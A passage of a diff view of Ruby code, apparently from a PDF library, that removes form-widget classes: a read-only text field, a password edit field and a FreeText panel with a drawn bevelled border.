|
-
|
|
115
|
-
def initialize(x,y,width,height, id)
|
|
116
|
-
|
|
117
|
-
super(x,y,width,height,id)
|
|
118
|
-
|
|
119
|
-
self.F |= Annotation::Flags::READONLY
|
|
120
|
-
self.Ff |= (Annotation::Widget::Text::Flags::RICHTEXT | Field::Flags::READONLY)
|
|
121
|
-
end
|
|
122
|
-
|
|
123
|
-
end
|
|
124
|
-
|
|
125
|
-
class PasswordEdit < Edit
|
|
126
|
-
|
|
127
|
-
def initialize(x,y,width,height, id)
|
|
128
|
-
|
|
129
|
-
super(x,y,width,height,id)
|
|
130
|
-
|
|
131
|
-
self.Ff ||= 0
|
|
132
|
-
self.Ff |= Annotation::Widget::Text::Flags::PASSWORD
|
|
133
|
-
|
|
134
|
-
end
|
|
135
|
-
|
|
136
|
-
end
|
|
137
|
-
|
|
138
|
-
class TextPanel < Annotation::FreeText
|
|
139
|
-
|
|
140
|
-
def initialize(x,y,width,height, id)
|
|
141
|
-
super()
|
|
142
|
-
|
|
143
|
-
set_indirect(true)
|
|
144
|
-
|
|
145
|
-
self.Rect = [ x, y, x+width, y+height ]
|
|
146
|
-
self.F = Annotation::Flags::PRINT
|
|
147
|
-
self.NM = id
|
|
148
|
-
self.DA = '/F1 12 Tf 0 g'
|
|
149
|
-
|
|
150
|
-
appstm = Annotation::AppearanceStream.new.setFilter(:FlateDecode)
|
|
151
|
-
appstm.BBox = [ 0, 0, width, height ]
|
|
152
|
-
appstm.Matrix = [ 1, 0, 0, 1, 0, 0 ]
|
|
153
|
-
|
|
154
|
-
appstm.draw_rectangle(0, 0, width, height,
|
|
155
|
-
:fill => false, :stroke => true, :stroke_color => Graphics::Color::GrayScale.new(0.0))
|
|
156
|
-
|
|
157
|
-
appstm.draw_polygon([[1,1],[1,height-1],[width-1,height-1],[width-2,height-2],[2,height-2],[2,2]],
|
|
158
|
-
:fill => true, :stroke => false, :fill_color => Graphics::Color::RGB.new(130, 130, 130))
|
|
159
|
-
|
|
160
|
-
appstm.draw_polygon([[width-1,height-1],[width-1,1],[1,1],[2,2],[width-2,2],[width-2,height-2]],
|
|
161
|
-
:fill => true, :stroke => false, :fill_color => Graphics::Color::GrayScale.new(1.0))
|
|
162
|
-
|
|
163
|
-
appstm.draw_rectangle(0.5, 0.5, width-1, height-1,
|
|
164
|
-
:fill => false, :stroke => true, :stroke_color => Graphics::Color::GrayScale.new(0.0))
|
|
165
|
-
|
|
166
|
-
set_normal_appearance(appstm)
|
|
167
|
-
end
|
|
168
|
-
|
|
169
|
-
end
|
|
170
|
-
|
|
171
|
-
end
|
|
172
|
-
|
|
173
|
-
end
|